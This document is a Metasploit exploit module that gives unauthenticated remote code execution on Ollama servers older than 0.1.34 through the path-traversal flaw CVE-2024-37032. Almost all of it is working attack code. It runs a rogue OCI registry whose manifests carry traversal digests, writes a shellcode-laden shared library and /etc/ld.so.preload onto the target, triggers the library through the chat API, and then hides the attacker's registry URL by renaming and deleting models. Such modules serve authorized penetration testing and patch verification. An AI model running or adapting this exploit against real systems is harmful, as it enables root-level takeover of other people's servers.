Ollama Model Registry Path Traversal RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  BLOB_CT = { 'Content-Type' => 'application/octet-stream' }.freeze
  JSON_CT = { 'Content-Type' => 'application/json' }.freeze
  MANIFEST_CT = { 'Content-Type' => 'application/vnd.docker.distribution.manifest.v2+json' }.freeze

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ollama Model Registry Path Traversal RCE',
        'Description' => %q{
          Ollama before 0.1.34 is vulnerable to a path traversal attack via the
          model pull mechanism (CVE-2024-37032). When pulling a model, the digest
          field in OCI manifests is not validated, allowing an attacker to inject
          path traversal sequences to write arbitrary files on the server.

          This module starts a rogue OCI registry that serves two models. The first
          pull writes a malicious shared library and /etc/ld.so.preload via path
          traversal (a sacrificial first layer absorbs the digest verification
          failure so the remaining files persist). The second pull registers a valid
          model so /api/chat can spawn the llama.cpp runner process, which triggers
          the dynamic linker to load the malicious library via ld.so.preload. The
          library constructor forks, cleans up ld.so.preload, and executes the
          payload in the child process.

          The default Ollama Docker image runs as root with the API bound to
          0.0.0.0:11434, making this a direct unauthenticated RCE.
        },
        'Author' => [
          'Sagi Tzadik <sagitz[at]wiz.io>', # Wiz Research discovery
          'Valentin Lobstein <chocapikk[at]leakix.net>' # MSF module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2024-37032'],
          ['URL', 'https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032'],
          ['GHSA', 'v4cg-63r8-8fh8', 'ollama/ollama']
        ],
        'Platform' => %w[linux],
        'Arch' => [ARCH_X64],
        'Targets' => [
          ['Automatic', {}]
        ],
        'DefaultTarget' => 0,
        'Privileged' => true,
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2024-05-05',
        'AKA' => ['Probllama'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      Opt::RPORT(11434),
      OptString.new('TARGETURI', [true, 'Base path to Ollama API', '/']),
      OptString.new('WRITABLE_DIR', [true, 'Writable directory on target for payload files', '/tmp']),
      OptInt.new('DEPTH', [true, 'Traversal depth to reach the root filesystem', 14])
    ])
  end

  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'version'))
    return CheckCode::Unknown('No response from target') unless res&.code == 200

    version = res.get_json_document['version']
    return CheckCode::Unknown('Could not determine Ollama version') unless version

    return CheckCode::Safe("Ollama #{version} (patched)") unless Rex::Version.new(version) < Rex::Version.new('0.1.34')

    CheckCode::Appears("Ollama #{version} (vulnerable to path traversal)")
  end

  def exploit
    prepare_payloads
    prepare_trigger_model
    start_registry

    write_files_via_traversal
    register_trigger_model
    trigger_rce
  end

  private

  # ---- Payload preparation ----

  def prepare_payloads
    @evil_namespace = random_model_name
    @trigger_namespace = random_model_name
    @so_name = Rex::Text.rand_text_alpha(8) + '.so'
    @so_path = "#{datastore['WRITABLE_DIR']}/#{@so_name}"
    @so_blob = generate_payload_so
    @preload_blob = "#{@so_path}\n"
    @dummy_name = Rex::Text.rand_text_alpha(8)
    @dummy_blob = Rex::Text.rand_text_alpha(16)
  end

  def prepare_trigger_model
    family = Faker::Hacker.noun.downcase.gsub(/\W+/, '-')
    @trigger_config_blob = {
      'model_format' => 'gguf', 'model_family' => family,
      'model_families' => [family], 'model_type' => "#{rand(1..70)}B", 'file_type' => 'Q4_0'
    }.to_json
    @trigger_model_blob = minimal_gguf(family)
  end

  def random_model_name
    "#{Faker::Hacker.adjective}-#{Faker::Hacker.noun}".downcase.gsub(/\W+/, '-')
  end

  def generate_payload_so
    sc = payload.encoded
    sc_hex = sc.bytes.map { |b| '0x%02x' % b }.join(', ')

    c_code = <<~C
      extern int unlink(const char *);
      extern int fork(void);
      extern int setsid(void);
      extern void _exit(int);
      __attribute__((constructor))
      void init(void) {
        unlink("/etc/ld.so.preload");
        // Fork+setsid must happen here in the constructor, not via PrependFork,
        // so the runner process returns immediately and isn't blocked by the payload.
        // _exit instead of return: shellcode is inlined via asm("db"), so return
        // would fall through into it.
        if (fork() != 0) _exit(0);
        setsid();
        asm("db #{sc_hex}");
      }
    C

    Metasm::ELF.compile_c(Metasm::X86_64.new, c_code).encode_string(:lib)
  end

  def minimal_gguf(arch = 'llama')
    key = 'general.architecture'
    val = arch
    [
      'GGUF',                       # magic
      [3].pack('V'),                # version
      [0].pack('Q<'),               # tensor_count
      [1].pack('Q<'),               # metadata_kv_count
      [key.length].pack('Q<'), key, # key string
      [8].pack('V'),                # value type: STRING
      [val.length].pack('Q<'), val  # value string
    ].join
  end

  # ---- Registry server ----

  def start_registry
    start_service({ 'Uri' => { 'Proc' => method(:on_request_uri), 'Path' => '/' } })
    print_status("Rogue OCI registry on #{Rex::Socket.to_authority(bindhost, bindport)}")
  end

  def registry_model_name(namespace)
    "#{srvhost_addr}:#{srvport}/#{namespace}/model"
  end

  def on_request_uri(cli, request)
    uri = request.uri
    vprint_status("Registry: #{request.method} #{uri}")

    body, headers = resolve_blob(uri)
    send_response(cli, body, headers)
  end

  def resolve_blob(uri)
    return ['{}', JSON_CT] if uri =~ %r{/v2/?$}
    return [evil_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest('{}'))] if uri.include?(@evil_namespace) && uri.include?('manifests')
    return [trigger_manifest, MANIFEST_CT.merge('Docker-Content-Digest' => sha256_digest(@trigger_config_blob))] if uri.include?(@trigger_namespace) && uri.include?('manifests')

    blob = find_blob(uri)
    return [blob, BLOB_CT] if blob

    ['{}', JSON_CT]
  end

  def find_blob(uri)
    blobs = {
      @so_name => @so_blob,
      'ld.so.preload' => @preload_blob,
      @dummy_name => @dummy_blob,
      sha256_digest(@trigger_model_blob).split(':')[1][0, 12] => @trigger_model_blob,
      sha256_digest(@trigger_config_blob).split(':')[1][0, 12] => @trigger_config_blob
    }
    blobs.each { |key, data| return data if uri.include?(key) }
    nil
  end

  # ---- Manifest builders ----

  def sha256_digest(content)
    "sha256:#{Digest::SHA256.hexdigest(content)}"
  end

  def traversal_digest(path)
    "#{'../' * datastore['DEPTH']}#{path.delete_prefix('/')}"
  end

  def oci_manifest(config_blob, layers)
    {
      'schemaVersion' => 2,
      'mediaType' => 'application/vnd.docker.distribution.manifest.v2+json',
      'config' => {
        'digest' => sha256_digest(config_blob),
        'mediaType' => 'application/vnd.docker.container.image.v1+json',
        'size' => config_blob.length
      },
      'layers' => layers
    }.to_json
  end

  def oci_layer(digest, size)
    { 'digest' => digest, 'mediaType' => 'application/vnd.ollama.image.model', 'size' => size }
  end

  def evil_manifest
    oci_manifest('{}', [
      oci_layer(traversal_digest("/tmp/#{@dummy_name}"), @dummy_blob.length),
      oci_layer(traversal_digest(@so_path), @so_blob.length),
      oci_layer(traversal_digest('/etc/ld.so.preload'), @preload_blob.length)
    ])
  end

  def trigger_manifest
    oci_manifest(@trigger_config_blob, [
      oci_layer(sha256_digest(@trigger_model_blob), @trigger_model_blob.length)
    ])
  end

  # ---- Exploit steps ----

  def pull_model(name)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'pull'),
      'ctype' => 'application/json',
      'data' => { 'name' => name, 'insecure' => true }.to_json,
      'timeout' => 30
    )
  end

  def write_files_via_traversal
    model = registry_model_name(@evil_namespace)
    print_status("Pull 1: #{model} (path traversal write)")

    res = pull_model(model)
    fail_with(Failure::Unreachable, 'No response from target') unless res

    if res&.body && res.body.include?('completed')
      print_good('Payload .so and ld.so.preload written via path traversal')
    else
      print_warning('Unexpected pull response (files may still have been written)')
      vprint_status(res.body.slice(0, 500))
    end

    register_file_for_cleanup('/etc/ld.so.preload')
    register_file_for_cleanup(@so_path)
  end

  def register_trigger_model
    @trigger_alias = random_model_name
    remote_name = registry_model_name(@trigger_namespace)
    print_status("Pull 2: #{remote_name} (registering trigger model)")

    res = pull_model(remote_name)
    fail_with(Failure::Unreachable, 'No response from trigger pull') unless res

    if res.body.include?('success')
      print_good('Trigger model registered')
    else
      print_warning('Trigger pull returned unexpected response')
      vprint_status(res.body.slice(0, 500))
    end

    # Copy to a clean alias and delete the original to hide the attacker URL from /api/tags
    ollama_api('copy', { 'source' => remote_name, 'destination' => @trigger_alias })
    ollama_api('delete', { 'name' => remote_name }, 'DELETE')
    vprint_status("Model aliased to #{@trigger_alias}, original removed")
  end

  def trigger_rce
    print_status('Triggering RCE via /api/chat (spawning runner process)...')

    begin
      send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'api', 'chat'),
        'ctype' => 'application/json',
        'data' => { 'model' => @trigger_alias, 'messages' => [{ 'role' => 'user', 'content' => Rex::Text.rand_text_alpha(rand(2..6)) }] }.to_json
      )
    ensure
      ollama_api('delete', { 'name' => @trigger_alias }, 'DELETE')
      vprint_status("Trigger model #{@trigger_alias} deleted")
    end
  end

  def ollama_api(endpoint, body, method = 'POST')
    send_request_cgi(
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'api', endpoint),
      'ctype' => 'application/json',
      'data' => body.to_json,
      'timeout' => 10
    )
  end
end